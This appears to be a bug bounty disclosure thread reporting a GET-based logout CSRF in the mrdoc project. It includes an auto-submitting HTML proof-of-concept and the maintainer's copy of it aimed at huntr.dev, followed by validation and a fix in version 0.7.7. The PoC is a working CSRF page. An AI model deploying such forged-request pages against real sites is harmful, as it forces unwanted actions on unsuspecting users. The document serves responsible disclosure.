Cross-Site Request Forgery (CSRF) in zmister2016/mrdoc

Valid

Reported on

Nov 23rd 2021


Description

An attacker is able to log out a user if a logged-in user visits the attacker's website.

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://mrdoc.zmister.com/logout/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.

Note

While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.

Although after clicking on the PoC.html, the server HTTP response code is 500 with a message: Server Error (500). However, when reloading the homepage, you can see that the user has logout successfully.

We are processing your report and will contact the zmister2016/mrdoc team within 24 hours. 2 years ago
We have contacted a member of the zmister2016/mrdoc team and are waiting to hear back 2 years ago
We have sent a follow up to the zmister2016/mrdoc team. We will try again in 7 days. a year ago
We have sent a second follow up to the zmister2016/mrdoc team. We will try again in 10 days. a year ago
zmister2016
a year ago

Maintainer


According to the test, huntr.dev also has this problem.example:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://huntr.dev/auth/logout/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

So ……

KhanhCM
a year ago

Researcher


Yes, I agree with you.

As noted in the description. "While this cannot harm a user's account it can be a great annoyance and is a valid CSRF."

As looking in some other reports on the same vulnerability, this is a simple fix. Either way, no disrespect if you disagree but it is valid. You will see that laravel itself now uses a POST request for logout and not GET.

Thanks for your response. It does not matter. It is up to you to decide whether to validate the report or not. I won't be upset. 🤗

We have sent a third and final follow up to the zmister2016/mrdoc team. This report is now considered stale. a year ago
KhanhCM modified the report
a year ago
zmister2016
a year ago

Maintainer


But it's better to change it to post request.Thank you for your feedback.

zmister2016 validated this vulnerability a year ago
KhanhCM has been awarded the disclosure bounty
The fix bounty is now up for grabs
zmister2016 marked this as fixed in 0.7.7 with commit ae68b5 a year ago
zmister2016 has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation